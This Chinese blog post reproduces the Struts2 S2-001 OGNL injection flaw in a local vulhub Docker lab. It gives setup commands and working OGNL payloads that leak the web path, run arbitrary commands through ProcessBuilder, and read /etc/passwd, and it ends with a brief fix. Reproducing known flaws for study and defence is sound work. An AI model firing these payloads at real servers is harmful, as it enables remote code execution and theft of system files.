S2-001漏洞復現
阿新 • • 發佈:2020-08-13
struts2-001
該漏洞因為使用者提交表單資料並且驗證失敗時,後端會將使用者之前提交的引數值使用 OGNL 表示式 %{value} 進行解析,然後重新填充到對應的表單資料中。例如註冊或登入頁面,提交失敗後端一般會預設返回之前提交的資料,由於後端使用 %{value} 對提交的資料執行了一次 OGNL 表示式解析,所以可以直接構造 Payload 進行命令執行
搭建靶機環境:(前提 docker、vulhub 環境已搭建)
1.進入vulhub目錄下漏洞環境的目錄 cd …/vulhub-master/structs/s2-001
2.自動編譯化環境 docker-compose build
3.啟動整個編譯環境 docker-compose up -d
4.檢視是否啟動成功 docker ps(正在執行的環境)
預設訪問
http://192.168.80.130:8080/
因為已經知道了是什麼漏洞;
而且後端是通過OGNL 表示式解析返回之前提交的資料;
既然已經知道這裡有漏洞了 那我們現在就直接手動測試一下
(工具測試.........太......快.......了..就沒意思了)
構造測試語句:
返回
接著測試
返回
返回 2 存在漏洞
發現password 括號裡的值又返回來了
ok~ 確定漏洞
構造payload:
%{"tomcatBinDir{"@java.lang.System@getProperty("use.dir")+"}"}
其實漏洞的payload在 漏洞目錄下的Readme.md裡面有
語句執行,檢視返回的語句是 /usr/local/tomcat 既是tomcat執行的語句
得到了 web路徑 ,繼續構造語句
構造payload 獲取Web路徑
%{#[email protected]@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}
構造payload執行任意命令
(ps:修改pwd就可以)
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
ok, 可以看見當前是 root使用者許可權
還可以修改成 "cat","/etc/passwd"
payload:
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat","/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
成功讀取 /etc/passwd
ok,復現完成
此時記得
#關閉docker 環境
docker-compose down -v
修復方式:
改變ognl表示式的解析方法從而不會產生遞迴解析,使用者的輸入也不會再解析執行。